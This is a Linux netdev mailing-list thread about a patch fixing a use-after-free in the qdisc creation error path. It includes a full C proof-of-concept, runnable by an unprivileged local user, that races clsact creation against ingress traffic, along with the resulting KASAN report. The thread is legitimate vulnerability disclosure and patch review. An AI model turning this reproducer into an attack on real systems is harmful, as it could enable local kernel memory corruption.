On Tue, 11 Aug 2026 00:58:27 +0900 David Lee wrote:
> [ 230.057740] ipip: IPv4 and MPLS over IPv4 tunneling driver
> [ 231.667279]
> ==================================================================
> [ 231.667738] BUG: KASAN: stack-out-of-bounds in
> __ip_options_echo+0xdf7/0x1860
I'm struggling to see how this is a repro for the qdisc lifecycle bug
In any case -- if the fix is really correct and there's some real repro
shared off list - I think you're deleting the last caller of
qdisc_free() so you should inline it into qdisc_free_cb()
So patch as is needs to be refactored. But please don't repost just
to refactor, we need a convincing repro first.
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH net] net/sched: defer qdisc freeing after failed creation
2026-08-13 1:22 ` Jakub Kicinski
@ 2026-08-17 9:06 ` David Lee
2026-08-17 16:29 ` Jakub Kicinski
0 siblings, 1 reply; 6+ messages in thread
From: David Lee @ 2026-08-17 9:06 UTC (permalink / raw)
To: Jakub Kicinski
Cc: Jamal Hadi Salim, davem, edumazet, pabeni, jiri, Kyle Zeng,
Dominik 'Disconnect3d' Czarnota, horms, netdev,
linux-kernel
[-- Attachment #1.1: Type: text/plain, Size: 2543 bytes --]
Hi Jakub,
Apologies for the confusion. I've reattached the correct reproducer.
======== Affected Versions =======
Runtime reproduction: Linux 7.2.0-rc3-kasan
Confirmed vulnerable revision:
f5098b6bae761e346ebcd9da7f95622c04733cff (Linux 7.2-rc5)
Latest inspected vulnerable revisions:
* 62cc90241548d5570ee68e01aaba6506964e9811 (Torvalds master)
* 9d8da8e0a9bce4a340af60dd0446bc7eb8d07587 (net main)
Introduced by:
51ab2994c387c80b45caf8b8067b3f3b97771d25
("net: sched: allow ingress and clsact qdiscs to share filter blocks")
https://github.com/torvalds/linux/commit/51ab2994c387c80b45caf8b8067b3f3b97771d25
Required Configs for the Vulnerability:
* CONFIG_NET_SCHED
* CONFIG_NET_SCH_INGRESS
* CONFIG_NET_CLS_ACT
Additional Configs used by the Proof-of-Concept:
* CONFIG_NET_CLS_BPF
* CONFIG_TUN
* CONFIG_USER_NS
* CONFIG_NET_NS
* CONFIG_KASAN
========== Reproduction ==========
Step 1: Build and boot a KASAN-enabled kernel with the configurations
listed above.
Step 2: Statically compile the attached `poc.c`:
~
gcc -static -O2 -Wall -Wextra -pthread -o poc poc.c
~
Step 3: Run `./poc` as a regular local user. The program creates an
owned user and network namespace, two TUN interfaces, and a populated
shared ingress block. It sends ingress traffic while repeatedly
requesting a `clsact` qdisc with the shared block and the invalid rate
estimator.
Step 4: Because this is a race, triggering time varies. The validated
run reported:
~
BUG: KASAN: slab-use-after-free in tc_run+0x5e3/0x620
Read of size 8 ... by task poc/...
Freed by task ...:
kfree
qdisc_free
qdisc_create
tc_modify_qdisc
~
The complete KASAN report is attached as `splash.txt`.
Best regards,
David
On Wed, Aug 12, 2026 at 9:22 PM Jakub Kicinski <kuba@kernel.org> wrote:
> On Tue, 11 Aug 2026 00:58:27 +0900 David Lee wrote:
> > [ 230.057740] ipip: IPv4 and MPLS over IPv4 tunneling driver
> > [ 231.667279]
> > ==================================================================
> > [ 231.667738] BUG: KASAN: stack-out-of-bounds in
> > __ip_options_echo+0xdf7/0x1860
>
> I'm struggling to see how this is a repro for the qdisc lifecycle bug
>
> In any case -- if the fix is really correct and there's some real repro
> shared off list - I think you're deleting the last caller of
> qdisc_free() so you should inline it into qdisc_free_cb()
>
> So patch as is needs to be refactored. But please don't repost just
> to refactor, we need a convincing repro first.
>
[-- Attachment #1.2: Type: text/html, Size: 3136 bytes --]
[-- Attachment #2: splash.txt --]
[-- Type: text/plain, Size: 8382 bytes --]
[ 232.894671] ==================================================================
[ 232.894793] BUG: KASAN: slab-use-after-free in tc_run+0x5e3/0x620
[ 232.894793] Read of size 8 at addr ffff8881032c51e8 by task poc/1272
[ 232.894793]
[ 232.894793] CPU: 3 UID: 1000 PID: 1272 Comm: poc Not tainted 7.2.0-rc3-kasan #1 PREEMPT(lazy)
[ 232.894793] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014
[ 232.894793] Call Trace:
[ 232.894793] <TASK>
[ 232.894793] dump_stack_lvl+0x5f/0x90
[ 232.894793] print_report+0x15b/0x4ec
[ 232.894793] ? __pfx__raw_spin_lock_irqsave+0x10/0x10
[ 232.894793] ? kasan_complete_mode_report_info+0x88/0x230
[ 232.894793] kasan_report+0xf2/0x130
[ 232.894793] ? tc_run+0x5e3/0x620
[ 232.894793] ? tc_run+0x5e3/0x620
[ 232.894793] __asan_report_load8_noabort+0x14/0x30
[ 232.894793] tc_run+0x5e3/0x620
[ 232.894793] ? __pfx_tc_run+0x10/0x10
[ 232.894793] __netif_receive_skb_core.constprop.0+0x9cc/0x31e0
[ 232.894793] ? __pfx___skb_flow_dissect+0x10/0x10
[ 232.894793] ? __pfx___netif_receive_skb_core.constprop.0+0x10/0x10
[ 232.894793] ? lapic_next_event+0x15/0x30
[ 232.894793] ? clockevents_program_event+0x2bd/0x750
[ 232.894793] ? ktime_get+0x100/0x190
[ 232.894793] ? __alloc_skb+0x34c/0xa10
[ 232.894793] ? lapic_next_event+0x15/0x30
[ 232.894793] ? __pfx_clockevents_program_event+0x10/0x10
[ 232.894793] ? __kasan_check_write+0x14/0x30
[ 232.894793] ? _raw_spin_lock+0x82/0xf0
[ 232.894793] __netif_receive_skb_one_core+0xa5/0x1d0
[ 232.894793] ? tick_program_event+0x69/0x130
[ 232.894793] ? __pfx___netif_receive_skb_one_core+0x10/0x10
[ 232.894793] ? __hrtimer_rearm_deferred+0x18a/0x520
[ 232.894793] ? sysvec_apic_timer_interrupt+0x54/0xd0
[ 232.894793] ? irqentry_exit+0x1cd/0x7b0
[ 232.894793] __netif_receive_skb+0x1c/0x160
[ 232.894793] netif_receive_skb+0x2f3/0x420
[ 232.894793] ? asm_sysvec_apic_timer_interrupt+0x1b/0x20
[ 232.894793] ? __pfx_netif_receive_skb+0x10/0x10
[ 232.894793] tun_get_user+0x2208/0x3c40
[ 232.894793] ? aa_file_perm+0x544/0xf20
[ 232.894793] ? __pfx_tun_get_user+0x10/0x10
[ 232.894793] ? rcu_sched_clock_irq+0xf08/0x2310
[ 232.894793] ? apparmor_file_permission+0x14d/0x500
[ 232.894793] ? __pfx_apparmor_file_permission+0x10/0x10
[ 232.894793] ? update_cfs_group+0x218/0x380
[ 232.894793] tun_chr_write_iter+0x176/0x2a0
[ 232.894793] ? tun_chr_write_iter+0x176/0x2a0
[ 232.894793] ? __pfx_run_posix_cpu_timers+0x10/0x10
[ 232.894793] vfs_write+0x580/0xf70
[ 232.894793] ? perf_event_task_tick+0x92/0x1d0
[ 232.894793] ? __pfx_vfs_write+0x10/0x10
[ 232.894793] ? __kasan_check_write+0x14/0x30
[ 232.894793] ? __kasan_check_write+0x14/0x30
[ 232.894793] ? fdget_pos+0x420/0x600
[ 232.894793] ksys_write+0x104/0x240
[ 232.894793] ? __pfx_ksys_write+0x10/0x10
[ 232.894793] ? lapic_next_event+0x15/0x30
[ 232.894793] ? clockevents_program_event+0x2bd/0x750
[ 232.894793] __x64_sys_write+0x72/0xd0
[ 232.894793] ? ktime_get_update_offsets_now+0x1d5/0x400
[ 232.894793] x64_sys_call+0x22f/0x2390
[ 232.894793] do_syscall_64+0xdd/0x640
[ 232.894793] ? __kasan_check_write+0x14/0x30
[ 232.894793] ? _raw_spin_lock+0x82/0xf0
[ 232.894793] ? __pfx__raw_spin_lock+0x10/0x10
[ 232.894793] ? tick_program_event+0x69/0x130
[ 232.894793] ? __kasan_check_read+0x11/0x20
[ 232.894793] ? fpregs_assert_state_consistent+0x5c/0x100
[ 232.894793] ? irqentry_exit+0x3f/0x7b0
[ 232.894793] ? __irq_exit_rcu+0x45/0x250
[ 232.894793] ? __sysvec_apic_timer_interrupt+0x91/0x320
[ 232.894793] ? do_syscall_64+0x94/0x640
[ 232.894793] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 232.894793] RIP: 0033:0x440692
[ 232.910990] Code: 08 0f 85 f1 de ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 55 48 89 e5
[ 232.911028] RSP: 002b:000070c4801be188 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
[ 232.911028] RAX: ffffffffffffffda RBX: 00007ffdcdd87380 RCX: 0000000000440692
[ 232.911028] RDX: 0000000000000040 RSI: 00000000004a8500 RDI: 0000000000000004
[ 232.911028] RBP: 000070c4801be1b0 R08: 0000000000000000 R09: 0000000000000000
[ 232.911028] R10: 0000000000000000 R11: 0000000000000246 R12: 000070c4801be6c0
[ 232.911028] R13: 00007ffdcdd87170 R14: 000070c4801bece4 R15: 00007ffdcdd87267
[ 232.911028] </TASK>
[ 232.911028]
[ 232.934520] Allocated by task 1267 on cpu 0 at 232.847363s:
[ 232.934520] kasan_save_stack+0x3a/0x70
[ 232.934520] kasan_save_track+0x18/0x70
[ 232.934520] kasan_save_alloc_info+0x39/0x60
[ 232.934520] __kasan_kmalloc+0xa9/0xd0
[ 232.934520] __kmalloc_node_noprof+0x208/0x630
[ 232.934520] qdisc_alloc+0xba/0x7a0
[ 232.934520] qdisc_create+0x6e/0xc80
[ 232.934520] tc_modify_qdisc+0xab5/0x1ff0
[ 232.934520] rtnetlink_rcv_msg+0x34f/0xb00
[ 232.934520] netlink_rcv_skb+0x147/0x400
[ 232.934520] rtnetlink_rcv+0x15/0x30
[ 232.934520] netlink_unicast+0x796/0xb30
[ 232.934520] netlink_sendmsg+0x770/0xc70
[ 232.934520] ____sys_sendmsg+0x95d/0xc50
[ 232.934520] ___sys_sendmsg+0x101/0x1a0
[ 232.934520] __sys_sendmsg+0x127/0x1e0
[ 232.934520] __x64_sys_sendmsg+0x77/0xd0
[ 232.934520] x64_sys_call+0x20d2/0x2390
[ 232.934520] do_syscall_64+0xdd/0x640
[ 232.934520] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 232.934520]
[ 232.934520] Freed by task 1267 on cpu 0 at 232.854692s:
[ 232.934520] kasan_save_stack+0x3a/0x70
[ 232.934520] kasan_save_track+0x18/0x70
[ 232.934520] kasan_save_free_info+0x3b/0x70
[ 232.934520] __kasan_slab_free+0x7a/0xb0
[ 232.934520] kfree+0x1bd/0x510
[ 232.934520] qdisc_free+0x9c/0xd0
[ 232.934520] qdisc_create+0x5b0/0xc80
[ 232.934520] tc_modify_qdisc+0xab5/0x1ff0
[ 232.934520] rtnetlink_rcv_msg+0x34f/0xb00
[ 232.934520] netlink_rcv_skb+0x147/0x400
[ 232.934520] rtnetlink_rcv+0x15/0x30
[ 232.934520] netlink_unicast+0x796/0xb30
[ 232.934520] netlink_sendmsg+0x770/0xc70
[ 232.934520] ____sys_sendmsg+0x95d/0xc50
[ 232.934520] ___sys_sendmsg+0x101/0x1a0
[ 232.934520] __sys_sendmsg+0x127/0x1e0
[ 232.934520] __x64_sys_sendmsg+0x77/0xd0
[ 232.934520] x64_sys_call+0x20d2/0x2390
[ 232.934520] do_syscall_64+0xdd/0x640
[ 232.934520] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 232.934520]
[ 232.934520] The buggy address belongs to the object at ffff8881032c5000
[ 232.934520] which belongs to the cache kmalloc-part-02-1k of size 1024
[ 232.934520] The buggy address is located 488 bytes inside of
[ 232.934520] freed 1024-byte region [ffff8881032c5000, ffff8881032c5400)
[ 232.934520]
[ 232.934520] The buggy address belongs to the physical page:
[ 232.934520] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff8881032c6800 pfn:0x1032c0
[ 232.934520] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[ 232.934520] flags: 0x17ffffc0000240(workingset|head|node=0|zone=2|lastcpupid=0x1fffff)
[ 232.934520] page_type: f5(slab)
[ 232.934520] raw: 0017ffffc0000240 ffff888100048f00 ffff888100041290 ffffea0004071610
[ 232.934520] raw: ffff8881032c6800 000000080010000e 00000000f5000000 0000000000000000
[ 232.934520] head: 0017ffffc0000240 ffff888100048f00 ffff888100041290 ffffea0004071610
[ 232.934520] head: ffff8881032c6800 000000080010000e 00000000f5000000 0000000000000000
[ 232.934520] head: 0017ffffc0000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
[ 232.934520] head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
[ 232.934520] page dumped because: kasan: bad access detected
[ 232.934520]
[ 232.934520] Memory state around the buggy address:
[ 232.934520] ffff8881032c5080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 232.934520] ffff8881032c5100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 232.934520] >ffff8881032c5180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 232.934520] ^
[ 232.934520] ffff8881032c5200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 232.934520] ffff8881032c5280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 232.934520] ==================================================================
[ 233.001266] Disabling lock debugging due to kernel taint
[-- Attachment #3: poc.c --]
[-- Type: application/octet-stream, Size: 9157 bytes --]
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/filter.h>
#include <linux/if_ether.h>
#include <linux/if_tun.h>
#include <linux/netlink.h>
#include <linux/pkt_cls.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
#include <sys/types.h>
#include <unistd.h>
#define TUN_FALLBACK_DIR "/tmp/1328_net_sched_qdisc_core_security_audit__finding_002"
#define TUN_FALLBACK_PATH TUN_FALLBACK_DIR "/tun"
struct tc_estimator_local {
int8_t interval;
uint8_t ewma_log;
};
struct nl_req {
struct nlmsghdr nlh;
struct tcmsg tcm;
char buf[65536];
};
struct writer_arg {
int fd;
int cpu;
};
static atomic_bool stop_writers;
static uint32_t nl_seq;
static void fatal(const char *what)
{
fprintf(stderr, "%s: %s\n", what, strerror(errno));
exit(1);
}
static void fatal_nl(const char *what, int err)
{
fprintf(stderr, "%s: %s\n", what, strerror(-err));
exit(1);
}
static void write_file(const char *path, const char *value)
{
size_t len = strlen(value);
int fd = open(path, O_WRONLY);
if (fd < 0)
fatal(path);
if (write(fd, value, len) != (ssize_t)len)
fatal(path);
close(fd);
}
static void setup_user_netns(void)
{
char map[64];
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER) < 0)
fatal("unshare(CLONE_NEWUSER)");
snprintf(map, sizeof(map), "0 %u 1\n", uid);
write_file("/proc/self/uid_map", map);
write_file("/proc/self/setgroups", "deny\n");
snprintf(map, sizeof(map), "0 %u 1\n", gid);
write_file("/proc/self/gid_map", map);
if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0)
fatal("setresuid/setresgid");
if (unshare(CLONE_NEWNET) < 0)
fatal("unshare(CLONE_NEWNET)");
}
static int open_tun(void)
{
int fd = open("/dev/net/tun", O_RDWR | O_CLOEXEC);
if (fd >= 0)
return fd;
if (mkdir(TUN_FALLBACK_DIR, 0700) < 0 && errno != EEXIST)
fatal("mkdir(TUN_FALLBACK_DIR)");
if (mknod(TUN_FALLBACK_PATH, S_IFCHR | 0600, makedev(10, 200)) < 0 &&
errno != EEXIST)
fatal("mknod(TUN_FALLBACK_PATH)");
fd = open(TUN_FALLBACK_PATH, O_RDWR | O_CLOEXEC);
if (fd < 0)
fatal("open(tun)");
return fd;
}
static int create_tun(const char *name)
{
struct ifreq ifr = {};
int fd = open_tun();
ifr.ifr_flags = IFF_TUN | IFF_NO_PI;
strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
if (ioctl(fd, TUNSETIFF, &ifr) < 0)
fatal("TUNSETIFF");
return fd;
}
static void set_if_up(const char *name)
{
struct ifreq ifr = {};
int fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
if (fd < 0)
fatal("socket(AF_INET)");
strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
fatal("SIOCGIFFLAGS");
ifr.ifr_flags |= IFF_UP;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
fatal("SIOCSIFFLAGS");
close(fd);
}
static struct rtattr *addattr(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
const void *data, size_t len)
{
size_t attr_len = RTA_LENGTH(len);
size_t new_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(attr_len);
struct rtattr *rta;
if (new_len > maxlen) {
errno = EMSGSIZE;
fatal("addattr");
}
rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
rta->rta_type = type;
rta->rta_len = attr_len;
if (len)
memcpy(RTA_DATA(rta), data, len);
nlh->nlmsg_len = new_len;
return rta;
}
static struct rtattr *nest_start(struct nlmsghdr *nlh, size_t maxlen,
uint16_t type)
{
return addattr(nlh, maxlen, type | NLA_F_NESTED, NULL, 0);
}
static void nest_end(struct nlmsghdr *nlh, struct rtattr *nest)
{
nest->rta_len = (char *)nlh + nlh->nlmsg_len - (char *)nest;
}
static int rtnl_open(void)
{
struct sockaddr_nl addr = { .nl_family = AF_NETLINK };
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);
if (fd < 0)
fatal("socket(NETLINK_ROUTE)");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
fatal("bind(NETLINK_ROUTE)");
return fd;
}
static int rtnl_ack(int fd, struct nlmsghdr *nlh)
{
struct sockaddr_nl addr = { .nl_family = AF_NETLINK };
char buf[4096];
struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
struct msghdr msg = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
nlh->nlmsg_seq = ++nl_seq;
if (sendmsg(fd, &msg, 0) < 0)
fatal("sendmsg");
for (;;) {
ssize_t len = recv(fd, buf, sizeof(buf), 0);
struct nlmsghdr *h;
if (len < 0)
fatal("recv");
for (h = (struct nlmsghdr *)buf; NLMSG_OK(h, len);
h = NLMSG_NEXT(h, len)) {
struct nlmsgerr *err;
if (h->nlmsg_seq != nlh->nlmsg_seq ||
h->nlmsg_type != NLMSG_ERROR)
continue;
err = NLMSG_DATA(h);
return err->error;
}
}
}
static void req_init(struct nl_req *req, uint16_t type, uint16_t flags,
int ifindex, uint32_t handle, uint32_t parent,
uint32_t info)
{
memset(req, 0, sizeof(*req));
req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req->tcm));
req->nlh.nlmsg_type = type;
req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
req->tcm.tcm_family = AF_UNSPEC;
req->tcm.tcm_ifindex = ifindex;
req->tcm.tcm_handle = handle;
req->tcm.tcm_parent = parent;
req->tcm.tcm_info = info;
}
static int create_clsact(int nl, int ifindex, uint32_t block, bool bad_rate)
{
struct tc_estimator_local est = { .interval = 4, .ewma_log = 1 };
struct nl_req req;
req_init(&req, RTM_NEWQDISC, NLM_F_CREATE | NLM_F_EXCL, ifindex,
TC_H_MAKE(TC_H_CLSACT, 0), TC_H_CLSACT, 0);
addattr(&req.nlh, sizeof(req), TCA_KIND, "clsact", sizeof("clsact"));
addattr(&req.nlh, sizeof(req), TCA_INGRESS_BLOCK, &block, sizeof(block));
if (bad_rate)
addattr(&req.nlh, sizeof(req), TCA_RATE, &est, sizeof(est));
return rtnl_ack(nl, &req.nlh);
}
static int install_slow_drop_filter(int nl, uint32_t block)
{
struct sock_filter *ops;
struct nl_req req;
struct rtattr *opts;
uint16_t ops_len = BPF_MAXINSNS;
uint32_t flags = TCA_BPF_FLAG_ACT_DIRECT;
uint32_t info = TC_H_MAKE(1U << 16, htons(ETH_P_ALL));
int i;
ops = calloc(BPF_MAXINSNS, sizeof(*ops));
if (!ops)
fatal("calloc(cbpf)");
/*
* tc_run() uses the miniq again for the drop-stat update after classify().
* A maximum-length classic BPF program widens the interval between the
* initial miniq load and that later access without needing eBPF.
*/
for (i = 0; i < BPF_MAXINSNS - 1; i++) {
ops[i].code = BPF_LD | BPF_B | BPF_ABS;
ops[i].k = 0;
}
ops[BPF_MAXINSNS - 1].code = BPF_RET | BPF_K;
ops[BPF_MAXINSNS - 1].k = TC_ACT_SHOT;
req_init(&req, RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL,
TCM_IFINDEX_MAGIC_BLOCK, 0, block, info);
addattr(&req.nlh, sizeof(req), TCA_KIND, "bpf", sizeof("bpf"));
opts = nest_start(&req.nlh, sizeof(req), TCA_OPTIONS);
addattr(&req.nlh, sizeof(req), TCA_BPF_OPS_LEN, &ops_len, sizeof(ops_len));
addattr(&req.nlh, sizeof(req), TCA_BPF_OPS, ops,
BPF_MAXINSNS * sizeof(*ops));
addattr(&req.nlh, sizeof(req), TCA_BPF_FLAGS, &flags, sizeof(flags));
nest_end(&req.nlh, opts);
free(ops);
return rtnl_ack(nl, &req.nlh);
}
static void pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0)
fatal("sched_setaffinity");
}
static void *packet_writer(void *opaque)
{
static const unsigned char packet[64] = {
0x45, 0x00, 0x00, 0x40, 0x00, 0x01, 0x00, 0x00,
0x40, 0x11, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x01,
0x7f, 0x00, 0x00, 0x01,
};
struct writer_arg *arg = opaque;
pin_cpu(arg->cpu);
while (!atomic_load_explicit(&stop_writers, memory_order_relaxed)) {
ssize_t ignored = write(arg->fd, packet, sizeof(packet));
(void)ignored;
}
return NULL;
}
int main(void)
{
enum { WRITERS = 3, ATTEMPTS = 100000 };
struct writer_arg args[WRITERS];
pthread_t threads[WRITERS];
uint32_t block = 1;
unsigned int owner_ifindex, victim_ifindex;
int owner_fd, victim_fd, nl;
int err, i;
setup_user_netns();
owner_fd = create_tun("tun0");
victim_fd = create_tun("tun1");
set_if_up("tun0");
set_if_up("tun1");
owner_ifindex = if_nametoindex("tun0");
victim_ifindex = if_nametoindex("tun1");
if (!owner_ifindex || !victim_ifindex)
fatal("if_nametoindex");
nl = rtnl_open();
err = create_clsact(nl, owner_ifindex, block, false);
if (err)
fatal_nl("create owner clsact", err);
err = install_slow_drop_filter(nl, block);
if (err)
fatal_nl("install cBPF filter", err);
for (i = 0; i < WRITERS; i++) {
args[i].fd = victim_fd;
args[i].cpu = i + 1;
if (pthread_create(&threads[i], NULL, packet_writer, &args[i]))
fatal("pthread_create");
}
pin_cpu(0);
for (i = 0; i < ATTEMPTS; i++) {
err = create_clsact(nl, victim_ifindex, block, true);
if (err != -EINVAL) {
fprintf(stderr, "failing clsact create returned %d\n", err);
exit(1);
}
}
atomic_store_explicit(&stop_writers, true, memory_order_relaxed);
for (i = 0; i < WRITERS; i++)
pthread_join(threads[i], NULL);
close(nl);
close(victim_fd);
close(owner_fd);
return 0;
}
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH net] net/sched: defer qdisc freeing after failed creation
2026-08-17 9:06 ` David Lee
@ 2026-08-17 16:29 ` Jakub Kicinski
0 siblings, 0 replies; 6+ messages in thread
From: Jakub Kicinski @ 2026-08-17 16:29 UTC (permalink / raw)
To: David Lee
Cc: Jamal Hadi Salim, davem, edumazet, pabeni, jiri, Kyle Zeng,
Dominik 'Disconnect3d' Czarnota, horms, netdev,
linux-kernel
On Mon, 17 Aug 2026 05:06:01 -0400 David Lee wrote:
> Apologies for the confusion. I've reattached the correct reproducer.
please see my feedback on the change itself (if you haven't)
^ permalink raw reply [flat|nested] 6+ messages in thread
end of thread, other threads:[~2026-08-17 16:29 UTC | newest]
Thread overview: 6+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-05 10:25 [PATCH net] net/sched: defer qdisc freeing after failed creation David Lee
2026-08-05 18:00 ` Jamal Hadi Salim
2026-08-10 15:58 ` David Lee
2026-08-13 1:22 ` Jakub Kicinski
2026-08-17 9:06 ` David Lee
2026-08-17 16:29 ` Jakub Kicinski
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox